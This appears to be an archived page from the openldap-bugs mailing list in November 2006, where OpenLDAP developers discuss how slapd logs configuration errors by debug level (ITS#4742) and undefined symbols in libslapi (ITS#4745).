hyc(a)symas.com wrote: > Another possibility would be to always enable LDAP_DEBUG_CONFIG for the > tools. The only reason I suggest this is because I would prefer that > runtime configuration errors are only logged when specifically > requested, not at DEBUG_ANY. Since the error messages are already > returnes to the client in the protocol, it's not always necessary to log > them separately. > The point is that I'd like to separate informative messages about configuration (LDAP_DEBUG_CONFIG) from __the__ message that described why slaptest failed (or slapd refuses to start). Right now, either you get all (which is annoying) or none (which is frustrating). Apparently, unless we hijack LDAP_DEBUG_NONE for the duration of config parsing, and OR it to all messages followed by "return ARG_BAD_CONF;", we need another LDAP_DEBUG_*. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4742) parameter unique_attributes and unknown attribute types
by hyc＠symas.com 11 Nov '06

11 Nov '06

ando(a)sys-net.it wrote: > michael(a)stroeder.com wrote: >> It seems that slapd stops without configuration error message if unknown >> attribute types are set for parameter unique_attributes (slapo-unique). It would >> be nice if a descriptive message is displayed (like in other cases). >> > I think this occurs if debug is set to "config" or "-1". However, it > would be more appropriate to log configuration errors that result in > failures at "any", so that whatever logging is set they show up. For > this purpose, many of the current occurrences of LDAP_DEBUG_CONFIG > should be turned into (LDAP_DEBUG_CONFIG | LDAP_DEBUG_NONE), so that > they show up when caught by tools with default logging (e.g. > slaptest(8)), or into LDAP_DEBUG_ANY, so that they show up all times. > I'd vote for the latter. Another possibility would be to always enable LDAP_DEBUG_CONFIG for the tools. The only reason I suggest this is because I would prefer that runtime configuration errors are only logged when specifically requested, not at DEBUG_ANY. Since the error messages are already returnes to the client in the protocol, it's not always necessary to log them separately. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4745) libslapi undefined symbols
by quanah＠stanford.edu 11 Nov '06

11 Nov '06

--On Saturday, November 11, 2006 9:10 PM +0000 hyc(a)symas.com wrote: > quanah(a)stanford.edu wrote: >> Full_Name: Quanah Gibson-Mount >> Version: 2.3.28 >> OS: Linux 2.6 64-bit >> URL: ftp://ftp.openldap.org/incoming/ >> Submission from: (NULL) (171.66.155.86) >> >> >> When building OpenLDAP 2.3.28, I found that libslapi is full of undefined >> symbols. Is it not being linked correctly? >> > Do you actually have a slapi plugin that isn't working? There's no > evidence of a bug here. Most dynamic libraries that depend on other > objects are full of undefined symbols. Nope, I don't use slapi at all, other than to enable it to disable the broken acl cacheing in 2.3. Thanks. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITS/Shared Application Services Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html

1 0

Re: (ITS#4745) libslapi undefined symbols
by hyc＠symas.com 11 Nov '06

11 Nov '06

quanah(a)stanford.edu wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.3.28 > OS: Linux 2.6 64-bit > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (171.66.155.86) > > > When building OpenLDAP 2.3.28, I found that libslapi is full of undefined > symbols. Is it not being linked correctly? > Do you actually have a slapi plugin that isn't working? There's no evidence of a bug here. Most dynamic libraries that depend on other objects are full of undefined symbols. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs